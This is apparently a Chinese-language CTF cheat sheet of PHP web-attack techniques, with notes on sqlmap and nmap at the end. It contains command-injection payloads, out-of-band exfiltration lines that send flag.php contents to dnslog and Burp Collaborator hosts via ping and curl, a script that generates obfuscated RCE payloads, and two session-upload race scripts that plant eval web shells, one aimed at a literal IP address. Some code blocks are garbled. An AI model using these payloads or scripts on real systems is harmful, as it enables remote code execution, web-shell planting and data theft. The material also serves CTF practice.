    $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
    echo "New anonymous function: $newfunc\n";
    echo $newfunc(2, M_E) . "\n";
    ?>
    ```

* `array_map()`

    将用户自定义函数作用到数组中每个值上

    ```php
    <?php
    //?func=system&cmd=ipconfig
    $func=$_REQUEST['func'];
    $cmd=$_REQUEST['cmd'];
    $array[0]=$cmd;
    $new_array=array_map($func,$array);
    ?>
    ```

* `array_filter`

    `array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array`

    依次将array数组中的每个值传递到callback函数,如果callback函数返回true,则array数组的当前值会被包含在返回的结果数组中。

    ```php
    <?php
    //?func=system&cmd=whoami
    $cmd=$_REQUEST['cmd'];
    $array1=array($cmd);
    $func =$_REQUEST['func'];
    array_filter($array1,$func);#把前面的数组内容传到后面的函数中(callback函数)
    ?>
    ```


## 显示文件内容函数总结

* `file_get_contents()`

    将整个文件的内容读入一个字符串

* `readfile()`

    读取文件并输出到缓存
    
* `highlight_file()`

    别名为`show_source()`

* `fopen()`

    将指定文件打开并绑定到一个流上
    `$handle = fopen("c:\\folder\\resource.txt", "r");`

* `fread()`

    ```php
    <?php
    $filename = "c:\\files\\somepic.gif";
    $handle = fopen($filename, "rb");
    $contents = fread($handle, filesize($filename));
    fclose($handle);
    ?> 

    ```

* `fgetss($handle, 4096)`

    从文件指针中读取一行并过滤html标记

* `fgets($handle, 4096)`

    从文件指针中读取一行

* `parse_ini_file()` 

* `file()`

    将整个文件的内容读入一个数组

* `unicode`单个字符可以表示很大的数字

## 命令执行函数集合

* `system()`

    执行外部程序,并且显示输出

* `exec()`

    执行一个外部程序
    如果要获得运行结果,要使用output参数
    ```php
    echo exec(ls);
    ```

* `shell_exec()`

    通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回

* `passthru()`

    执行外部程序并且显示原始输出

* `pcntl_exec()`???暂不明

    在当前进程空间执行指定程序
<!--
* `popen()`
* `proc_open()`
-->



## 利用集合

* 函数组合

    `show_source(next(array_reverse(scandir(current(localeconv())))));`
    其中`show_source()`的别名是`highlight_file()`,`current()`的别名是`pos()`

    同理,`readfile()`也有相同作用

* 造参传参

    `c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php`


## 抓包改包

* `burpsuite`get改post

    请求方式改成`POST`

    加入`content-type:application/x-www-form-urlencoded`

    最下面加上要传的参数
    
## 概念科普

* php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡 流量、系统负载、服务器时间等信息

* `php`中`GET`请求参数不用单引号引起来也可以是因为利于`php向下兼容`

* `/dev/null`:表示 的是一个黑洞,通常用于丢弃不需要的数据输出, 或者用于输入流的空文件

    1.1 将无用的输出流写入到黑洞丢弃。

    `curl -Iwww.baidu.com 2>/dev/null | head -l`  错误信息定位到黑洞

    1.2 清空文件 

    `cat /dev/null > /home/omc/h.txt`

    1.3 在书写定时任务总,规范的写法就是将所有定时任务脚本结尾加上>/dev/null 2>&1,让所有的输出流(包括错误的和正确的)都定向到空设备丢弃。

* 有三种输出流,1标准输出,2错误输出,3异常输出

* `dnslog`

    * dns请求有日志记录,日志可以查看有多少ip访问该域名

    * 可以查看请求数据

```php
/?F=`$F` ; ping `cat flag.php `.xxxx.cn -c

/?F=`$F` ; nl flag.php>/tmp/1

/?F=`$F` ; ping `nl flag.php | awk 'NR==15'| tr -cd "[a-z]"/"[0-9]"/"-"`.xxxx.cn -c 1
/?F=`$F`;+curl -X POST -F xx=@flag.php  http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net
查看dnslog.cn就可以看到数据

    平常也可以使用带外的方法,只需要能够执行wget命令,然后直接wget `ls`.dnslog.org这样,就能看结果


脚本

爆破脚本

绕过测试

ctfshow web入门 web41

生成可用字符集合 ```php <?php $myfile = fopen(“rce_or.txt”, “w”); $contents=””; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) {

	if($i<16){
		$hex_i='0'.dechex($i);
	}
	else{
		$hex_i=dechex($i);
	}
	if($j<16){
		$hex_j='0'.dechex($j);
	}
	else{
		$hex_j=dechex($j);
	}
	$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
	if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
				echo "";
}
  
	else{
	$a='%'.$hex_i;
	$b='%'.$hex_j;
	$c=(urldecode($a)|urldecode($b));
	if (ord($c)>=32&ord($c)<=126) {
		$contents=$contents.$c." ".$a." ".$b."\n";
	}
}

} } fwrite($myfile,$contents); fclose($myfile);


>传递参数

```python
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

session 文件包含

#coding=utf-8
​
import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('whoami');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'http://127.0.0.1:5555/test56.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('http://127.0.0.1:5555/test56.php?file=session/sess_'+sessid,data=data)
        if 'tgao.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in xrange(1,30): 
            threading.Thread(target=write,args=(session,)).start()
        for i in xrange(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()


import requests
import io
import threading

url='http://114.115.207.198:200/aGho.php'
sessionid='ctfshow'
data={
	"c":"file_put_contents('/var/www/html/2.php','<?php eval($_POST[2]);?>');"
}

def write(session):
	fileBytes = io.BytesIO(b'a'*1024*50)
	while True:
		response=session.post(url,
			data={
			'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
			},
			cookies={
			'PHPSESSID':sessionid
			},
			files={
			'file':('ctfshow.jpg',fileBytes)
			}
			)

def read(session):
	while True:
		response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,
			cookies={
			'PHPSESSID':sessionid
			}
			)
		resposne2=session.get(url+'2.php');
		if resposne2.status_code==200:
			print('++++++done++++++')
		else:
			print(resposne2.status_code)

if __name__ == '__main__':

	evnet=threading.Event()
	with requests.session() as session:
		for i in range(5):
			threading.Thread(target=write,args=(session,)).start()
		for i in range(5):
			threading.Thread(target=read,args=(session,)).start()

	evnet.set()


工具参数

SQLmap

强大的sql注入工具 https://www.freebuf.com/sectool/164608.html

  • --user-agent

    指定agent

  • --referer

    指定referer,referer伪造,指明从哪个页面过来的

  • --data

    –data=DATA 通过POST发送数据参数,sqlmap会像检测GET参数一样检测POST的参数。–data=”id=1” -f –banner –dbs –users

  • --dbms

    指定数据库管理系统

  • --header

    指定请求头内容,–headers=“Content-Type: text/plain”

  • --cookie

    指定cookie值--cookie="PHPSESSID=xxx"

  • --safe-url

    指定跳转页面前访问的页面,绕过鉴权

  • --safe-freq

    指定前页面的访问次数

  • --os-shell

SQLMAP特性

  • 自动判断闭合

nmap

  • ``